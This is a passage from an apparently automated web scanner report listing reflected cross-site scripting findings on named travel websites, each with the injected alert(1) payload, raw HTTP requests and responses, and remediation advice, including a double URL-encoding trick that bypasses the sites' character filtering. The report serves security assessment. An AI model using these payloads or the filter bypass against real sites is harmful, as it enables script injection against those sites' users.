This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
2.123. http:///MED336191486/direct/013813509777 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://
Path:
/MED336191486/direct/013813509777
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9331c'-alert(1)-'e0fa04f397 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.124. http:///MED336191486/direct/013813509777 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://
Path:
/MED336191486/direct/013813509777
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b188f"><script>alert(1)</script>5d36b8efd09 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
2.125. http:///MED336191486/direct/013813509777 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://
Path:
/MED336191486/direct/013813509777
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 78ac4"-alert(1)-"1497b455bec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the queryString request parameter is copied into the HTML document as plain text between tags. The payload 6885b<script>alert(1)</script>ce8934c5ca1aa82e4 was submitted in the queryString parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
2.127. http://www.allgetaways.com/travel-articles/articlePage.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.allgetaways.com
Path:
/travel-articles/articlePage.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 155e1"-alert(1)-"c83b0571438 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /travel-articles/articlePage.asp?155e1"-alert(1)-"c83b0571438=1 HTTP/1.1 Host: www.allgetaways.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 30 Sep 2011 13:18:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 8642 Content-Type: text/html Expires: Fri, 30 Sep 2011 13:18:39 GMT Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
<me ...[SNIP]... <!-- function addbookmark() {
var bookmarkurl="/travel-articles/articlePage.asp?155e1"-alert(1)-"c83b0571438=1";
bookmarktitle="Travels.com - Articles | Travels.com"; if (document.all) window.external.AddFavorite(bookmarkurl,bookmarktitle); }
--> ...[SNIP]...
2.128. http://www.barcelonapoint.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.barcelonapoint.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5114%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252294b19faa30c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b5114"style="x:expression(alert(1))"94b19faa30c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /?b5114%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252294b19faa30c=1 HTTP/1.1 Host: www.barcelonapoint.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.mcafeesecure.com/us/forconsumers/mcafee_certified_sites.jsp?c1=16&c2=107 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the &token request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98659%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522b5d6d43c62f was submitted in the &token parameter. This input was echoed as 98659"style="x:expression(alert(1))"b5d6d43c62f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the &token request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 104e3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252257fd912faf2 was submitted in the REST URL parameter 1. This input was echoed as 104e3"style="x:expression(alert(1))"57fd912faf2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /apartment_results.php104e3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252257fd912faf2 HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:53 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 15936
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e3f6%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25225932131440d was submitted in the lang parameter. This input was echoed as 2e3f6"style="x:expression(alert(1))"5932131440d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the lang request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conten ...[SNIP]... <a href="http://www.facebook.com/sharer.php?u=http://www.BarcelonaPoint.com/apartment_results.php?lang=en2e3f6"style="x:expression(alert(1))"5932131440d&&token=3342e7c89333e3aeb8a546914650b070" target="_blank"> ...[SNIP]...
2.132. http://www.barcelonapoint.com/apartment_results.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.barcelonapoint.com
Path:
/apartment_results.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 758da"><script>alert(1)</script>962c76745bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apartment_results.php/758da"><script>alert(1)</script>962c76745bd HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conten ...[SNIP]... <a href="http://www.facebook.com/sharer.php?u=http://www.BarcelonaPoint.com/apartment_results.php/758da"><script>alert(1)</script>962c76745bd?lang=en&token=3342e7c89333e3aeb8a546914650b070" target="_blank"> ...[SNIP]...
2.133. http://www.barcelonapoint.com/apartment_results.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.barcelonapoint.com
Path:
/apartment_results.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 480ea%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522c35b234598c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 480ea"style="x:expression(alert(1))"c35b234598c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /apartment_results.php?480ea%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522c35b234598c=1 HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71db7%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25227d721fec5bf was submitted in the REST URL parameter 1. This input was echoed as 71db7"style="x:expression(alert(1))"7d721fec5bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:13:53 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6b96%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25223d21c8f4e18 was submitted in the REST URL parameter 2. This input was echoed as a6b96"style="x:expression(alert(1))"3d21c8f4e18 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:13:57 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f4d5%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25226459dc47ca4 was submitted in the REST URL parameter 3. This input was echoed as 7f4d5"style="x:expression(alert(1))"6459dc47ca4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:14:02 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbca4%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522b730824fa72 was submitted in the REST URL parameter 4. This input was echoed as dbca4"style="x:expression(alert(1))"b730824fa72 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:14:06 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cafd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522ac75282f82e was submitted in the REST URL parameter 5. This input was echoed as 2cafd"style="x:expression(alert(1))"ac75282f82e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:14:11 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4dffe%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522a5f0fced52 was submitted in the REST URL parameter 6. This input was echoed as 4dffe"style="x:expression(alert(1))"a5f0fced52 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:14:16 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16818 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67034%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522ecb05724ee4 was submitted in the REST URL parameter 7. This input was echoed as 67034"style="x:expression(alert(1))"ecb05724ee4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:14:21 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 16824 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99326%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224064588beb0 was submitted in the REST URL parameter 1. This input was echoed as 99326"style="x:expression(alert(1))"4064588beb0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /en99326%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25224064588beb0/popup/email_friend/ HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:21 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 15942
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f18b%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522685f1019ffa was submitted in the REST URL parameter 2. This input was echoed as 9f18b"style="x:expression(alert(1))"685f1019ffa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /en/popup9f18b%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522685f1019ffa/email_friend/ HTTP/1.1 Host: www.barcelonapoint.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:32 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 15942
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8afb%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25228f01e2895be was submitted in the REST URL parameter 1. This input was echoed as c8afb"style="x:expression(alert(1))"8f01e2895be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:13:53 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 15810 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1179%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522beb22b678e0 was submitted in the REST URL parameter 1. This input was echoed as d1179"style="x:expression(alert(1))"beb22b678e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:43 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 15930 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb1e8%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522cebabbf5341 was submitted in the REST URL parameter 2. This input was echoed as fb1e8"style="x:expression(alert(1))"cebabbf5341 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 404 Not Found Date: Fri, 30 Sep 2011 13:19:57 GMT Server: Apache X-Powered-By: PHP/5.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 15930 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
2.146. http://www.barcelonapoint.com/images/barrio_11.png [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.barcelonapoint.com
Path:
/images/barrio_11.png
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea5f7%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25223c6bbae1004 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ea5f7"style="x:expression(alert(1))"3c6bbae1004 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
